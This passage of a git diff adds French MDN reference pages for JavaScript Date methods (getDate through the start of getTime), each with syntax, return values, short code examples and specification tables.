+<p>Un entier entre 1 et 31 correspondant au jour du mois de la date indiquée selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getDate()">Utiliser <code>getDate()</code></h3>
+
+<p>La seconde instruction ci-dessous affecte la valeur 25 à la variable <code>jour</code>, d'après la valeur de l'objet {{jsxref("Date")}} <code>Noel95</code>.</p>
+
+<pre class="brush: js">var Noel95 = new Date("December 25, 1995 23:15:00");
+var jour = Noel95.getDate();
+
+console.log(jour); // 25
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getDate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html
new file mode 100644
index 0000000000..08457eaade
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getday/index.html
@@ -0,0 +1,95 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getDay
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getDay()</code></strong> renvoie le jour de la semaine pour la date spécifiée selon l'heure locale (0 correspondant à dimanche). Pour obtenir le jour du mois, on utilisera {{jsxref("Date.prototype.getDate()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getday.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getDay()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier correspondant au jour de la semaine (0 correspondant à dimanche, 1 à lundi, 2 à mardi et ainsi de suite) de la date indiquée selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getDay()">Utiliser <code>getDay()</code></h3>
+
+<p>La seconde instruction ci-dessous assigne la valeur 1 à <code>jourSemaine</code>, selon la valeur de l'objet <code>Date</code> <code>noel95</code>. Le 25 décembre 1995 est un lundi.</p>
+
+<pre class="brush: js">var noel95 = new Date("December 25, 1995 23:15:00");
+var jourSemaine = noel95.getDay();
+
+console.log(jourSemaine); //1
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si besoin, on pourra obtenir le nom complet du jour (<code>"lundi"</code> par exemple) en utilisant la méthode {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} avec un paramètre <code>options</code>. Ce faisant, il est plus simple d'internationaliser un site ou une application :</p>
+
+<pre class="brush: js">var options = { weekday: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// Monday
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Montag
+</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getDay")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html
new file mode 100644
index 0000000000..a6ffdb03e6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html
@@ -0,0 +1,84 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getFullYear
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getFullYear()</strong></code> renvoie l'année de la date renseignée d'après l'heure locale.</p>
+
+<p>Cette méthode doit être utilisée à la place de {{jsxref("Date.prototype.getYear()", "getYear()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getfullyear.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getFullYear()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier correspondant à l'année de la date selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getFullYear()">Utiliser <code>getFullYear()</code></h3>
+
+<p>L'exemple qui suit assigne la valeur à quatre chiffres de l'année courante à la variable <code>année</code>.</p>
+
+<pre class="brush: js">var aujd = new Date();
+var année = aujd.getFullYear();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getFullYear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html
new file mode 100644
index 0000000000..e4bb2c3e21
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getHours
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getHours()</strong></code> renvoie l'heure pour la date renseignée, d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gethours.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getHours()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier, compris entre 0 et 23 qui indique l'heure de la date indiquée selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getHours()">Utiliser <code>getHours()</code></h3>
+
+<p>La seconde instruction ci-dessous assigne la valeur 23 à la variable <code>heure</code>, selon la valeur de l'objet {{jsxref("Date")}} <code>noel95</code>.</p>
+
+<pre class="brush: js">var noel95 = new Date("December 25, 1995 23:15:00");
+var heure = noel95.getHours();
+
+console.log(heure); //23
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getHours")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..15b30f7d9c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html
@@ -0,0 +1,81 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getMilliseconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getMilliseconds()</strong></code> renvoie les millièmes de secondes de la date renseignée d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmilliseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMilliseconds()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nombre entre 0 et 999 indiquant le nombre de millisecondes pour la date indiquée, selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getMilliseconds()">Utiliser <code>getMilliseconds()</code></h3>
+
+<p>L'exemple suivant assigne la partie des millièmes de secondes de l'heure courante à la variable <code>ms</code>.</p>
+
+<pre class="brush: js">var aujd = new Date();
+var ms = aujd.getMilliseconds();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMilliseconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html
new file mode 100644
index 0000000000..42b2e04b2c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html
@@ -0,0 +1,85 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getMinutes
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getMinutes()</code></strong> renvoie les minutes pour la date renseignée d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getminutes.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.getMinutes()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par <code>getMinutes</code> est un entier entre 0 et 59 représentant le nombre de minutes pour la date indiquée, selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getMinutes()">Utiliser <code>getMinutes()</code></h3>
+
+<p>La seconde instruction ci-dessous assigne la valeur 15 à la variable <code>minutes</code>, selon la valeur de l'objet {{jsxref("Date")}} <code>noel95</code>.</p>
+
+<pre class="brush: js">var noel95 = new Date("December 25, 1995 23:15:00");
+var minutes = noel95.getMinutes();
+
+console.log(minutes); //15
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMinutes")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html
new file mode 100644
index 0000000000..d1c96b3c48
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html
@@ -0,0 +1,94 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getMonth
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>getMonth()</strong></code> retourne le mois de la date renseignée d'après l'heure locale. La numérotation démarre à 0 (c'est-à-dire que 0 correspond au premier mois de l'année).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getmonth.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>dateObj.g</em>etMonth()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un entier entre 0 et 11 selon le mois de la date indiquée et d'après l'heure locale (0 correspond à janvier, 1 à février, et ainsi de suite).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getMonth()">Utiliser <code>getMonth()</code></h3>
+
+<p>La seconde instruction ci-dessous assigne la valeur 11 à la variable <code>mois</code>, d'après la valeur de l'objet {{jsxref("Date")}} <code>noel95</code>.</p>
+
+<pre class="brush: js">var noel95 = new Date("December 25, 1995 23:15:00");
+var mois = noel95.getMonth();
+
+console.log(mois); //11
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si besoin, on pourra récupérer le nom complet du mois (<code>"Janvier"</code> par exemple) en utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat">Intl.DateTimeFormat()</a></code> avec un paramètre <code>options</code>. En utilisant cette méthode, il est plus simple d'internationaliser le site ou l'application :</p>
+
+<pre class="brush: js">var options = { month: 'long'};
+console.log(new Intl.DateTimeFormat('en-US', options).format(Xmas95));
+// December
+console.log(new Intl.DateTimeFormat('de-DE', options).format(Xmas95));
+// Dezember
+</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getMonth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html b/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html
new file mode 100644
index 0000000000..1d6ed36ad0
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getSeconds
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getSeconds()</code></strong> renvoie les secondes pour la date renseignée d'après l'heure locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getSeconds()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par <code>getSeconds()</code> est un entier entre 0 et 59 correspondant au nombre de secondes pour la date donnée selon l'heure locale.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getSeconds()">Utiliser <code>getSeconds()</code></h3>
+
+<p>La seconde instruction ci-dessous assigne la valeur 30 à la variable <code>secondes</code>, selon la valeur de l'objet {{jsxref("Date")}} <code>noel95</code>.</p>
+
+<pre class="brush: js">var noel95 = new Date("December 25, 1995 23:15:30");
+var secondes = noel95.getSeconds();
+
+console.log(secondes); //30
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.getSeconds")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html b/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html
new file mode 100644
index 0000000000..2ade1f6f16
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html
@@ -0,0 +1,122 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/getTime
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>getTime()</code></strong> renvoie la valeur numérique correspondant au temps pour la date renseignée, d'après le temps universel (c'est-à-dire relative à UTC, une mesure donnée par <code>getTime()</code> sera indépendante du fuseau horaire sur lequel on se trouve). Cette valeur numérique est le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.</p>
+
+<p>Vous pouvez utiliser cette méthode pour vous affecter une date et un temps à une autre instance de <code>Date</code>. Cette méthode est fonctionnellement équivalente à la méthode {{jsxref("Date.valueof", "valueOf()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-gettime.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">dateObj.getTime()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur renvoyée par la méthode <code>getTime()</code> est le nombre de millièmes de secondes entre le 1 janvier 1970 à 00:00:00 UTC et la date indiquée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_getTime()">Utiliser <code>getTime()</code></h3>
+
+<p>L'exemple qui suit assigne la valeur de <code>anniversaire</code> à <code>copie</code> :</p>
+
